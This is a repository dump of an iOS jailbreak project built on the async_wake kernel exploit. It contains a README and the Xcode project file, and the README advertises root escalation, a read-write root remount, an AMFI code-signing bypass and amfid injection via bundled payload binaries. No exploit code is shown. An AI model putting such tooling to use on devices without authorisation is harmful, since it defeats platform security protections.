├── README.md ├── async_wake_ios.xcodeproj ├── project.pbxproj ├── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcuserdata │ │ ├── ianbeer.xcuserdatad │ │ └── UserInterfaceState.xcuserstate │ │ └── ninja.xcuserdatad │ │ └── UserInterfaceState.xcuserstate └── xcuserdata │ ├── ianbeer.xcuserdatad │ ├── xcdebugger │ │ └── Breakpoints_v2.xcbkptlist │ └── xcschemes │ │ └── xcschememanagement.plist │ └── ninja.xcuserdatad │ ├── xcdebugger │ └── Breakpoints_v2.xcbkptlist │ └── xcschemes │ └── xcschememanagement.plist └── async_wake_ios ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets └── AppIcon.appiconset │ └── Contents.json ├── Base.lproj ├── LaunchScreen.storyboard └── Main.storyboard ├── Info.plist ├── README ├── ViewController.h ├── ViewController.m ├── arm64_state.h ├── async_wake.c ├── async_wake.h ├── binaries ├── .DS_Store ├── amfid_payload.dylib ├── amfid_payload.m ├── ent.plist ├── inject_amfid ├── inject_amfid.m ├── test.dylib └── test.m ├── early_kalloc.c ├── early_kalloc.h ├── ent.plist ├── find_port.c ├── find_port.h ├── kcall.c ├── kcall.h ├── kdbg.c ├── kdbg.h ├── kmem.c ├── kmem.h ├── kutils.c ├── kutils.h ├── main.m ├── symbols.c ├── symbols.h └── the_fun_part ├── fun.h ├── fun.m ├── fun_objc.h ├── fun_objc.m ├── fun_utils.c ├── fun_utils.h ├── patchfinder64.c └── patchfinder64.h /README.md: -------------------------------------------------------------------------------- 1 | Fun additions to async_wake 2 | 3 | Features: 4 | - setuid(0) with no kernel panic 5 | - mount / as rw 6 | - AMFI bypass via trustcache injection 7 | - amfid patch - utilises the AMFI bypass to inject into amfid and replace MISValidateSignatureAndCopyInfo with our own version 8 | 9 | See the comments for an explanation for some of the things going on. Better `kexecute` explanations can be found by people like Siguza and @bazad (on GH). I might consider doing a proper explanation of the AMFI.kext bypass (a good overview can be found in *OS Internals Vol. 3, but I would go in detail at code level), and the amfid bypass (I've already briefly explaned in #21, but again, go a bit deeper) 10 | 11 | Credits: 12 | - Ian Beer for the original exploit 13 | - @xerub for the KPPless patches 14 | - @s1guza for the base of the kexecute idea of modifying the vtable of a user client (which I used before I noticed Ian Beer includes it), and the resolving of the upper 4 bytes of memory addresses returned from kexecute 15 | - @theninjaprawn for amfid patch 16 | - @coolstarorg for doing the cooler stuff (see his fork https://github.com/coolstar/async_awake-fun - he's got a jailbreakd daemon + more) 17 | - @stek29, @nullriver 18 | -------------------------------------------------------------------------------- /async_wake_ios.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 48; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | B003EB351FC583CB00C58441 /* kmem.c in Sources */ = {isa = PBXBuildFile; fileRef = B003EB331FC583CA00C58441 /* kmem.c */; }; 11 | B003EB381FC5863800C58441 /* find_port.c in Sources */ = {isa = PBXBuildFile; fileRef = B003EB361FC5863800C58441 /* find_port.c */; }; 12 | B003EB3B1FC58F4900C58441 /* kdbg.c in Sources */ = {isa = PBXBuildFile; fileRef = B003EB391FC58F4900C58441 /* kdbg.c */; }; 13 | B04E25091FCD6DB300F09CCE /* kutils.c in Sources */ = {isa = PBXBuildFile; fileRef = B04E25071FCD6DB300F09CCE /* kutils.c */; }; 14 | B07A023E1FB09B6F0018ACE5 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = B07A023D1FB09B6F0018ACE5 /* AppDelegate.m */; }; 15 | B07A02411FB09B6F0018ACE5 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = B07A02401FB09B6F0018ACE5 /* ViewController.m */; }; 16 | B07A02441FB09B6F0018ACE5 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B07A02421FB09B6F0018ACE5 /* Main.storyboard */; }; 17 | B07A02461FB09B6F0018ACE5 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = B07A02451FB09B6F0018ACE5 /* Assets.xcassets */; }; 18 | B07A02491FB09B6F0018ACE5 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B07A02471FB09B6F0018ACE5 /* LaunchScreen.storyboard */; }; 19 | B07A024C1FB09B6F0018ACE5 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = B07A024B1FB09B6F0018ACE5 /* main.m */; }; 20 | B07A02541FB09C3D0018ACE5 /* async_wake.c in Sources */ = {isa = PBXBuildFile; fileRef = B07A02521FB09C3D0018ACE5 /* async_wake.c */; }; 21 | B0D79D621FDED41000B4F233 /* README in Resources */ = {isa = PBXBuildFile; fileRef = B0D79D611FDED41000B4F233 /* README */; }; 22 | B0EF11141FCC6F9C00C1D14E /* kcall.c in Sources */ = {isa = PBXBuildFile; fileRef = B0EF11121FCC6F9C00C1D14E /* kcall.c */; }; 23 | B0EF11171FCC784B00C1D14E /* symbols.c in Sources */ = {isa = PBXBuildFile; fileRef = B0EF11151FCC784B00C1D14E /* symbols.c */; }; 24 | B0F5AA3F1FDE87E90073FD88 /* early_kalloc.c in Sources */ = {isa = PBXBuildFile; fileRef = B0F5AA3D1FDE87E80073FD88 /* early_kalloc.c */; }; 25 | BC329AE51FE775500069AB3F /* fun_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = BC329AE31FE775500069AB3F /* fun_utils.c */; }; 26 | BC5CA4931FEF288E002EC5C4 /* amfid_payload.dylib in Resources */ = {isa = PBXBuildFile; fileRef = BC5CA4911FEF288B002EC5C4 /* amfid_payload.dylib */; }; 27 | BC5CA4951FEF2CE2002EC5C4 /* test.dylib in Resources */ = {isa = PBXBuildFile; fileRef = BC5CA4941FEF2CE1002EC5C4 /* test.dylib */; }; 28 | BC8B64C41FE5252F00EDF749 /* fun_objc.m in Sources */ = {isa = PBXBuildFile; fileRef = BC8B64C31FE5252F00EDF749 /* fun_objc.m */; }; 29 | BC8EE46C1FE272CF00402F32 /* fun.m in Sources */ = {isa = PBXBuildFile; fileRef = BC8EE46A1FE272CF00402F32 /* fun.m */; }; 30 | BC8EE46F1FE2B4E800402F32 /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = BC8EE46D1FE2B4E800402F32 /* patchfinder64.c */; }; 31 | BC9969041FE66CE200A4EDB9 /* ent.plist in Resources */ = {isa = PBXBuildFile; fileRef = BC9969031FE66CE200A4EDB9 /* ent.plist */; }; 32 | BCC91E911FEDF6320007F99B /* inject_amfid in Resources */ = {isa = PBXBuildFile; fileRef = BCC91E901FEDF6310007F99B /* inject_amfid */; }; 33 | /* End PBXBuildFile section */ 34 | 35 | /* Begin PBXFileReference section */ 36 | B003EB331FC583CA00C58441 /* kmem.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kmem.c; sourceTree = ""; }; 37 | B003EB341FC583CA00C58441 /* kmem.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kmem.h; sourceTree = ""; }; 38 | B003EB361FC5863800C58441 /* find_port.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = find_port.c; sourceTree = ""; }; 39 | B003EB371FC5863800C58441 /* find_port.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = find_port.h; sourceTree = ""; }; 40 | B003EB391FC58F4900C58441 /* kdbg.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kdbg.c; sourceTree = ""; }; 41 | B003EB3A1FC58F4900C58441 /* kdbg.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kdbg.h; sourceTree = ""; }; 42 | B04E25071FCD6DB300F09CCE /* kutils.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kutils.c; sourceTree = ""; }; 43 | B04E25081FCD6DB300F09CCE /* kutils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kutils.h; sourceTree = ""; }; 44 | B04E250A1FCF083A00F09CCE /* arm64_state.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = arm64_state.h; sourceTree = ""; }; 45 | B07A02391FB09B6F0018ACE5 /* async_wake_ios.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = async_wake_ios.app; sourceTree = BUILT_PRODUCTS_DIR; }; 46 | B07A023C1FB09B6F0018ACE5 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 47 | B07A023D1FB09B6F0018ACE5 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 48 | B07A023F1FB09B6F0018ACE5 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 49 | B07A02401FB09B6F0018ACE5 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 50 | B07A02431FB09B6F0018ACE5 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 51 | B07A02451FB09B6F0018ACE5 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 52 | B07A02481FB09B6F0018ACE5 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 53 | B07A024A1FB09B6F0018ACE5 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 54 | B07A024B1FB09B6F0018ACE5 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 55 | B07A02521FB09C3D0018ACE5 /* async_wake.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = async_wake.c; sourceTree = ""; }; 56 | B07A02531FB09C3D0018ACE5 /* async_wake.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = async_wake.h; sourceTree = ""; }; 57 | B0D79D611FDED41000B4F233 /* README */ = {isa = PBXFileReference; lastKnownFileType = text; path = README; sourceTree = ""; }; 58 | B0EF11121FCC6F9C00C1D14E /* kcall.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kcall.c; sourceTree = ""; }; 59 | B0EF11131FCC6F9C00C1D14E /* kcall.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kcall.h; sourceTree = ""; }; 60 | B0EF11151FCC784B00C1D14E /* symbols.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = symbols.c; sourceTree = ""; }; 61 | B0EF11161FCC784B00C1D14E /* symbols.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = symbols.h; sourceTree = ""; }; 62 | B0F5AA3D1FDE87E80073FD88 /* early_kalloc.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = early_kalloc.c; sourceTree = ""; }; 63 | B0F5AA3E1FDE87E80073FD88 /* early_kalloc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = early_kalloc.h; sourceTree = ""; }; 64 | BC329AE31FE775500069AB3F /* fun_utils.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = fun_utils.c; sourceTree = ""; }; 65 | BC329AE41FE775500069AB3F /* fun_utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = fun_utils.h; sourceTree = ""; }; 66 | BC5CA4911FEF288B002EC5C4 /* amfid_payload.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; path = amfid_payload.dylib; sourceTree = ""; }; 67 | BC5CA4941FEF2CE1002EC5C4 /* test.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; path = test.dylib; sourceTree = ""; }; 68 | BC8B64C31FE5252F00EDF749 /* fun_objc.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = fun_objc.m; sourceTree = ""; }; 69 | BC8B64C51FE5253B00EDF749 /* fun_objc.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = fun_objc.h; sourceTree = ""; }; 70 | BC8EE46A1FE272CF00402F32 /* fun.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = fun.m; sourceTree = ""; }; 71 | BC8EE46B1FE272CF00402F32 /* fun.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = fun.h; sourceTree = ""; }; 72 | BC8EE46D1FE2B4E800402F32 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = ""; }; 73 | BC8EE46E1FE2B4E800402F32 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; }; 74 | BC9969031FE66CE200A4EDB9 /* ent.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = ent.plist; sourceTree = ""; }; 75 | BCC91E901FEDF6310007F99B /* inject_amfid */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = inject_amfid; sourceTree = ""; }; 76 | /* End PBXFileReference section */ 77 | 78 | /* Begin PBXFrameworksBuildPhase section */ 79 | B07A02361FB09B6F0018ACE5 /* Frameworks */ = { 80 | isa = PBXFrameworksBuildPhase; 81 | buildActionMask = 2147483647; 82 | files = ( 83 | ); 84 | runOnlyForDeploymentPostprocessing = 0; 85 | }; 86 | /* End PBXFrameworksBuildPhase section */ 87 | 88 | /* Begin PBXGroup section */ 89 | B07A02301FB09B6F0018ACE5 = { 90 | isa = PBXGroup; 91 | children = ( 92 | B07A023B1FB09B6F0018ACE5 /* async_wake_ios */, 93 | B07A023A1FB09B6F0018ACE5 /* Products */, 94 | ); 95 | sourceTree = ""; 96 | }; 97 | B07A023A1FB09B6F0018ACE5 /* Products */ = { 98 | isa = PBXGroup; 99 | children = ( 100 | B07A02391FB09B6F0018ACE5 /* async_wake_ios.app */, 101 | ); 102 | name = Products; 103 | sourceTree = ""; 104 | }; 105 | B07A023B1FB09B6F0018ACE5 /* async_wake_ios */ = { 106 | isa = PBXGroup; 107 | children = ( 108 | BCEEF6F01FE8F09E009B9A8B /* binaries */, 109 | B07A023C1FB09B6F0018ACE5 /* AppDelegate.h */, 110 | B07A023D1FB09B6F0018ACE5 /* AppDelegate.m */, 111 | B04E250A1FCF083A00F09CCE /* arm64_state.h */, 112 | B07A02451FB09B6F0018ACE5 /* Assets.xcassets */, 113 | B07A02521FB09C3D0018ACE5 /* async_wake.c */, 114 | B07A02531FB09C3D0018ACE5 /* async_wake.h */, 115 | B0F5AA3D1FDE87E80073FD88 /* early_kalloc.c */, 116 | B0F5AA3E1FDE87E80073FD88 /* early_kalloc.h */, 117 | B003EB361FC5863800C58441 /* find_port.c */, 118 | B003EB371FC5863800C58441 /* find_port.h */, 119 | B07A024A1FB09B6F0018ACE5 /* Info.plist */, 120 | B0EF11121FCC6F9C00C1D14E /* kcall.c */, 121 | B0EF11131FCC6F9C00C1D14E /* kcall.h */, 122 | B003EB391FC58F4900C58441 /* kdbg.c */, 123 | B003EB3A1FC58F4900C58441 /* kdbg.h */, 124 | B003EB331FC583CA00C58441 /* kmem.c */, 125 | B003EB341FC583CA00C58441 /* kmem.h */, 126 | B04E25071FCD6DB300F09CCE /* kutils.c */, 127 | B04E25081FCD6DB300F09CCE /* kutils.h */, 128 | B07A02471FB09B6F0018ACE5 /* LaunchScreen.storyboard */, 129 | B07A024B1FB09B6F0018ACE5 /* main.m */, 130 | B07A02421FB09B6F0018ACE5 /* Main.storyboard */, 131 | B0D79D611FDED41000B4F233 /* README */, 132 | B0EF11151FCC784B00C1D14E /* symbols.c */, 133 | B0EF11161FCC784B00C1D14E /* symbols.h */, 134 | BCF206541FE32E1D0081CBE5 /* the_fun_part */, 135 | B07A023F1FB09B6F0018ACE5 /* ViewController.h */, 136 | B07A02401FB09B6F0018ACE5 /* ViewController.m */, 137 | BC9969031FE66CE200A4EDB9 /* ent.plist */, 138 | ); 139 | path = async_wake_ios; 140 | sourceTree = ""; 141 | }; 142 | BCEEF6F01FE8F09E009B9A8B /* binaries */ = { 143 | isa = PBXGroup; 144 | children = ( 145 | BCC91E901FEDF6310007F99B /* inject_amfid */, 146 | BC5CA4911FEF288B002EC5C4 /* amfid_payload.dylib */, 147 | BC5CA4941FEF2CE1002EC5C4 /* test.dylib */, 148 | ); 149 | path = binaries; 150 | sourceTree = ""; 151 | }; 152 | BCF206541FE32E1D0081CBE5 /* the_fun_part */ = { 153 | isa = PBXGroup; 154 | children = ( 155 | BC8B64C51FE5253B00EDF749 /* fun_objc.h */, 156 | BC8B64C31FE5252F00EDF749 /* fun_objc.m */, 157 | BC329AE31FE775500069AB3F /* fun_utils.c */, 158 | BC329AE41FE775500069AB3F /* fun_utils.h */, 159 | BC8EE46A1FE272CF00402F32 /* fun.m */, 160 | BC8EE46B1FE272CF00402F32 /* fun.h */, 161 | BC8EE46D1FE2B4E800402F32 /* patchfinder64.c */, 162 | BC8EE46E1FE2B4E800402F32 /* patchfinder64.h */, 163 | ); 164 | path = the_fun_part; 165 | sourceTree = ""; 166 | }; 167 | /* End PBXGroup section */ 168 | 169 | /* Begin PBXNativeTarget section */ 170 | B07A02381FB09B6F0018ACE5 /* async_wake_ios */ = { 171 | isa = PBXNativeTarget; 172 | buildConfigurationList = B07A024F1FB09B6F0018ACE5 /* Build configuration list for PBXNativeTarget "async_wake_ios" */; 173 | buildPhases = ( 174 | B07A02351FB09B6F0018ACE5 /* Sources */, 175 | B07A02361FB09B6F0018ACE5 /* Frameworks */, 176 | B07A02371FB09B6F0018ACE5 /* Resources */, 177 | ); 178 | buildRules = ( 179 | ); 180 | dependencies = ( 181 | ); 182 | name = async_wake_ios; 183 | productName = async_wake_ios; 184 | productReference = B07A02391FB09B6F0018ACE5 /* async_wake_ios.app */; 185 | productType = "com.apple.product-type.application"; 186 | }; 187 | /* End PBXNativeTarget section */ 188 | 189 | /* Begin PBXProject section */ 190 | B07A02311FB09B6F0018ACE5 /* Project object */ = { 191 | isa = PBXProject; 192 | attributes = { 193 | LastUpgradeCheck = 0910; 194 | ORGANIZATIONNAME = "Ian Beer"; 195 | TargetAttributes = { 196 | B07A02381FB09B6F0018ACE5 = { 197 | CreatedOnToolsVersion = 9.1; 198 | ProvisioningStyle = Automatic; 199 | }; 200 | }; 201 | }; 202 | buildConfigurationList = B07A02341FB09B6F0018ACE5 /* Build configuration list for PBXProject "async_wake_ios" */; 203 | compatibilityVersion = "Xcode 8.0"; 204 | developmentRegion = en; 205 | hasScannedForEncodings = 0; 206 | knownRegions = ( 207 | en, 208 | Base, 209 | ); 210 | mainGroup = B07A02301FB09B6F0018ACE5; 211 | productRefGroup = B07A023A1FB09B6F0018ACE5 /* Products */; 212 | projectDirPath = ""; 213 | projectRoot = ""; 214 | targets = ( 215 | B07A02381FB09B6F0018ACE5 /* async_wake_ios */, 216 | ); 217 | }; 218 | /* End PBXProject section */ 219 | 220 | /* Begin PBXResourcesBuildPhase section */ 221 | B07A02371FB09B6F0018ACE5 /* Resources */ = { 222 | isa = PBXResourcesBuildPhase; 223 | buildActionMask = 2147483647; 224 | files = ( 225 | B0D79D621FDED41000B4F233 /* README in Resources */, 226 | BC5CA4951FEF2CE2002EC5C4 /* test.dylib in Resources */, 227 | BC9969041FE66CE200A4EDB9 /* ent.plist in Resources */, 228 | B07A02491FB09B6F0018ACE5 /* LaunchScreen.storyboard in Resources */, 229 | BC5CA4931FEF288E002EC5C4 /* amfid_payload.dylib in Resources */, 230 | BCC91E911FEDF6320007F99B /* inject_amfid in Resources */, 231 | B07A02461FB09B6F0018ACE5 /* Assets.xcassets in Resources */, 232 | B07A02441FB09B6F0018ACE5 /* Main.storyboard in Resources */, 233 | ); 234 | runOnlyForDeploymentPostprocessing = 0; 235 | }; 236 | /* End PBXResourcesBuildPhase section */ 237 | 238 | /* Begin PBXSourcesBuildPhase section */ 239 | B07A02351FB09B6F0018ACE5 /* Sources */ = { 240 | isa = PBXSourcesBuildPhase; 241 | buildActionMask = 2147483647; 242 | files = ( 243 | B003EB351FC583CB00C58441 /* kmem.c in Sources */, 244 | B0EF11171FCC784B00C1D14E /* symbols.c in Sources */, 245 | B07A02411FB09B6F0018ACE5 /* ViewController.m in Sources */, 246 | BC8EE46C1FE272CF00402F32 /* fun.m in Sources */, 247 | B04E25091FCD6DB300F09CCE /* kutils.c in Sources */, 248 | BC8B64C41FE5252F00EDF749 /* fun_objc.m in Sources */, 249 | B07A024C1FB09B6F0018ACE5 /* main.m in Sources */, 250 | B003EB381FC5863800C58441 /* find_port.c in Sources */, 251 | B07A02541FB09C3D0018ACE5 /* async_wake.c in Sources */, 252 | B07A023E1FB09B6F0018ACE5 /* AppDelegate.m in Sources */, 253 | BC8EE46F1FE2B4E800402F32 /* patchfinder64.c in Sources */, 254 | B003EB3B1FC58F4900C58441 /* kdbg.c in Sources */, 255 | B0EF11141FCC6F9C00C1D14E /* kcall.c in Sources */, 256 | BC329AE51FE775500069AB3F /* fun_utils.c in Sources */, 257 | B0F5AA3F1FDE87E90073FD88 /* early_kalloc.c in Sources */, 258 | ); 259 | runOnlyForDeploymentPostprocessing = 0; 260 | }; 261 | /* End PBXSourcesBuildPhase section */ 262 | 263 | /* Begin PBXVariantGroup section */ 264 | B07A02421FB09B6F0018ACE5 /* Main.storyboard */ = { 265 | isa = PBXVariantGroup; 266 | children = ( 267 | B07A02431FB09B6F0018ACE5 /* Base */, 268 | ); 269 | name = Main.storyboard; 270 | sourceTree = ""; 271 | }; 272 | B07A02471FB09B6F0018ACE5 /* LaunchScreen.storyboard */ = { 273 | isa = PBXVariantGroup; 274 | children = ( 275 | B07A02481FB09B6F0018ACE5 /* Base */, 276 | ); 277 | name = LaunchScreen.storyboard; 278 | sourceTree = ""; 279 | }; 280 | /* End PBXVariantGroup section */ 281 | 282 | /* Begin XCBuildConfiguration section */ 283 | B07A024D1FB09B6F0018ACE5 /* Debug */ = { 284 | isa = XCBuildConfiguration; 285 | buildSettings = { 286 | ALWAYS_SEARCH_USER_PATHS = NO; 287 | CLANG_ANALYZER_NONNULL = YES; 288 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 289 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 290 | CLANG_CXX_LIBRARY = "libc++"; 291 | CLANG_ENABLE_MODULES = YES; 292 | CLANG_ENABLE_OBJC_ARC = YES; 293 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 294 | CLANG_WARN_BOOL_CONVERSION = YES; 295 | CLANG_WARN_COMMA = YES; 296 | CLANG_WARN_CONSTANT_CONVERSION = YES; 297 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 298 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 299 | CLANG_WARN_EMPTY_BODY = YES; 300 | CLANG_WARN_ENUM_CONVERSION = YES; 301 | CLANG_WARN_INFINITE_RECURSION = YES; 302 | CLANG_WARN_INT_CONVERSION = YES; 303 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 304 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 305 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 306 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 307 | CLANG_WARN_STRICT_PROTOTYPES = YES; 308 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 309 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 310 | CLANG_WARN_UNREACHABLE_CODE = YES; 311 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 312 | CODE_SIGN_IDENTITY = "iPhone Developer"; 313 | COPY_PHASE_STRIP = NO; 314 | DEBUG_INFORMATION_FORMAT = dwarf; 315 | ENABLE_STRICT_OBJC_MSGSEND = YES; 316 | ENABLE_TESTABILITY = YES; 317 | GCC_C_LANGUAGE_STANDARD = gnu11; 318 | GCC_DYNAMIC_NO_PIC = NO; 319 | GCC_NO_COMMON_BLOCKS = YES; 320 | GCC_OPTIMIZATION_LEVEL = 0; 321 | GCC_PREPROCESSOR_DEFINITIONS = ( 322 | "DEBUG=1", 323 | "$(inherited)", 324 | ); 325 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 326 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 327 | GCC_WARN_UNDECLARED_SELECTOR = YES; 328 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 329 | GCC_WARN_UNUSED_FUNCTION = YES; 330 | GCC_WARN_UNUSED_VARIABLE = YES; 331 | IPHONEOS_DEPLOYMENT_TARGET = 11.1; 332 | MTL_ENABLE_DEBUG_INFO = YES; 333 | ONLY_ACTIVE_ARCH = YES; 334 | SDKROOT = iphoneos; 335 | }; 336 | name = Debug; 337 | }; 338 | B07A024E1FB09B6F0018ACE5 /* Release */ = { 339 | isa = XCBuildConfiguration; 340 | buildSettings = { 341 | ALWAYS_SEARCH_USER_PATHS = NO; 342 | CLANG_ANALYZER_NONNULL = YES; 343 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 344 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; 345 | CLANG_CXX_LIBRARY = "libc++"; 346 | CLANG_ENABLE_MODULES = YES; 347 | CLANG_ENABLE_OBJC_ARC = YES; 348 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 349 | CLANG_WARN_BOOL_CONVERSION = YES; 350 | CLANG_WARN_COMMA = YES; 351 | CLANG_WARN_CONSTANT_CONVERSION = YES; 352 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 353 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 354 | CLANG_WARN_EMPTY_BODY = YES; 355 | CLANG_WARN_ENUM_CONVERSION = YES; 356 | CLANG_WARN_INFINITE_RECURSION = YES; 357 | CLANG_WARN_INT_CONVERSION = YES; 358 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 359 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 360 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 361 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 362 | CLANG_WARN_STRICT_PROTOTYPES = YES; 363 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 364 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 365 | CLANG_WARN_UNREACHABLE_CODE = YES; 366 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 367 | CODE_SIGN_IDENTITY = "iPhone Developer"; 368 | COPY_PHASE_STRIP = NO; 369 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 370 | ENABLE_NS_ASSERTIONS = NO; 371 | ENABLE_STRICT_OBJC_MSGSEND = YES; 372 | GCC_C_LANGUAGE_STANDARD = gnu11; 373 | GCC_NO_COMMON_BLOCKS = YES; 374 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 375 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 376 | GCC_WARN_UNDECLARED_SELECTOR = YES; 377 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 378 | GCC_WARN_UNUSED_FUNCTION = YES; 379 | GCC_WARN_UNUSED_VARIABLE = YES; 380 | IPHONEOS_DEPLOYMENT_TARGET = 11.1; 381 | MTL_ENABLE_DEBUG_INFO = NO; 382 | SDKROOT = iphoneos; 383 | VALIDATE_PRODUCT = YES; 384 | }; 385 | name = Release; 386 | }; 387 | B07A02501FB09B6F0018ACE5 /* Debug */ = { 388 | isa = XCBuildConfiguration; 389 | buildSettings = { 390 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 391 | CODE_SIGN_STYLE = Automatic; 392 | DEVELOPMENT_TEAM = 88R89D928E; 393 | ENABLE_BITCODE = NO; 394 | INFOPLIST_FILE = async_wake_ios/Info.plist; 395 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 396 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 397 | LIBRARY_SEARCH_PATHS = ( 398 | "$(inherited)", 399 | "$(PROJECT_DIR)/async_wake_ios/binaries", 400 | ); 401 | OTHER_LDFLAGS = ( 402 | "-framework", 403 | IOKit, 404 | ); 405 | PRODUCT_BUNDLE_IDENTIFIER = "com.ninjaprawn.async-wake-ios"; 406 | PRODUCT_NAME = "$(TARGET_NAME)"; 407 | TARGETED_DEVICE_FAMILY = "1,2"; 408 | }; 409 | name = Debug; 410 | }; 411 | B07A02511FB09B6F0018ACE5 /* Release */ = { 412 | isa = XCBuildConfiguration; 413 | buildSettings = { 414 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 415 | CODE_SIGN_STYLE = Automatic; 416 | DEVELOPMENT_TEAM = 88R89D928E; 417 | ENABLE_BITCODE = NO; 418 | INFOPLIST_FILE = async_wake_ios/Info.plist; 419 | IPHONEOS_DEPLOYMENT_TARGET = 11.0; 420 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; 421 | LIBRARY_SEARCH_PATHS = ( 422 | "$(inherited)", 423 | 